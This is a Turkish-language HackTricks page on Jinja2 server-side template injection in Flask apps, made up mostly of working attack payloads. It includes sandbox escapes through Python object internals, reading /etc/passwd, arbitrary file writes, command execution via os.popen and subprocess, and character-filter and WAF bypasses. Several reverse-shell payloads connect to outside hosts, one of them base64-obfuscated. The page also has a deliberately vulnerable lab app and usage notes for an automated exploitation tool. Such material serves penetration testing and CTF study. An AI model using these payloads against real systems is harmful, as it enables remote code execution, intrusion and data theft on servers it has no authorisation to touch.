Jinja2 SSTI
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Çeşitli
Debug İfadesi
Debug Uzantısı etkinleştirilmişse, mevcut bağlamı ile kullanılabilir filtreler ve testleri dökmek için debug etiketi kullanılabilir. Bu, bir hata ayıklayıcı kurmadan şablonda kullanılabilecekleri görmeyi sağlar.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
Tüm konfigürasyon değişkenlerini dök
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
Her şeyden önce, bir Jinja injection’da sandbox’tan kaçmanın bir yolunu bulmanız ve normal python yürütme akışına erişimi yeniden kazanmanız gerekir. Bunu yapmak için, non-sanboxed environment’tan gelen fakat sandbox içinden erişilebilir olan nesneleri kötüye kullanmanız gerekir.
Global Nesnelere Erişim
Örneğin, render_template("hello.html", username=username, email=email) kodunda username ve email nesneleri non-sanboxed python env’den gelir ve sandboxed env içinde erişilebilir olacaktır.
Ayrıca, sandboxed env’den her zaman erişilebilir olacak başka nesneler de vardır, bunlar:
[]
''
()
dict
config
request
<class ‘object’> Kurtarma
Sonra, bu nesnelerden <class 'object'> sınıfına ulaşmamız gerekiyor; tanımlı sınıfları kurtarmayı denemek için. Bunun nedeni, bu nesneden __subclasses__ metodunu çağırıp sandbox dışı Python ortamındaki tüm sınıflara erişebilmemizdir.
Bu object sınıfına erişmek için, bir sınıf nesnesine erişip ardından ya __base__, ya __mro__()[-1] ya da .mro()[-1]’e erişmeniz gerekir. Ve sonra, bu object sınıfına ulaştıktan sonra __subclasses__()’ı çağırırız.
Bu örneklere bakın:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
Elde ettikten sonra <class 'object'>’i alıp __subclasses__’ı çağırdıktan sonra, bu sınıfları dosya okumak/yazmak ve kod yürütmek için kullanabiliriz.
__subclasses__ çağrısı bize yüzlerce yeni fonksiyona erişim imkanı verdi; sadece dosya sınıfına erişip dosya okuma/yazma ile ya da komut çalıştırmaya izin veren herhangi bir sınıfa (ör. os) erişerek memnun oluruz.
Uzak dosya okuma/yazma
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Payloads ile {% ... %}
Bazen {{ ... }} engellenir, temizlenir ya da enjeksiyon statement-dostu bir bağlama düşer. Bu durumlarda yine Jinja statement etiketleri olan {% with %}, {% if %}, {% for %}, {% set %} ve daha yeni sürümlerde {% print %}’i kullanarak kod çalıştırabilir, block gövdesi aracılığıyla data leak edebilir veya blind yan etkilere neden olabilirsiniz.
{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}
# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}
# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}
# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}
# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}
Eğer hedef bazı karakterleri filtreliyorsa ancak statement tag’larına hâlâ izin veriyorsa, bu fikri filter bypasses ve no-{{ / no-. / no-_ example ile birleştirin. Ayrıca {% print %} zorunlu değildir: hedefte mevcut değilse, {% with %}, {% if %}, {% set %} ve {% for %} genellikle şablonu sömürmeye devam etmek için yeterlidir.
To learn about more classes that you can use to escape you can check:
Filtre bypasses
Yaygın bypasses
Bu bypass’lar bize erişmemize, nesnelerin özelliklerine bazı karakterleri kullanmadan olanak tanır.
Önceki örneklerde bu bypass’ların bazılarını zaten gördük, ama burada özetleyelim:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Return here for more options to access a global object
- Return here for more options to access the object class
- Read this to get RCE without the object class
HTML kodlamasından kaçınma
Varsayılan olarak Flask, güvenlik nedeniyle bir şablonun içindeki tüm içeriği HTML olarak kodlar:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
The safe filtresi, JavaScript ve HTML’i sayfaya HTML olarak kodlanmadan enjekte etmemize izin verir, şöyle:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE kötü amaçlı config file yazarak.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Birkaç karakter olmadan
Aşağıdaki karakterler olmadan {{ . [ ] }} _
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Injection <class ‘object’> olmadan
global objects üzerinden, o sınıfı kullanmadan RCE’ye ulaşmanın başka bir yolu var.
Eğer bu global nesnelerden herhangi bir function’a erişmeyi başarırsanız, __globals__.__builtins__’e erişebilecek ve buradan RCE çok basit.
Erişiminiz olan request, config ve herhangi bir diğer ilginç global object’tan function bulmak için:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Bazı fonksiyonları bulduktan sonra builtins’i şu şekilde geri alabilirsiniz:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing CTF’lere yönelik uzmanlaşmış bir araçtır, ancak gerçek bir senaryoda geçersiz parametreleri bruteforce ile denemek için de faydalı olabilir. Araç filtreleri tespit etmek için kelimeler ve sorgular gönderir, bypass’ları arar ve ayrıca etkileşimli bir konsol sağlar.
İngilizce-Çince Google çevirisi
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
Referanslar
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- https://jinja.palletsprojects.com/en/stable/templates/
- Bakınız attr trick to bypass blacklisted chars in here.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


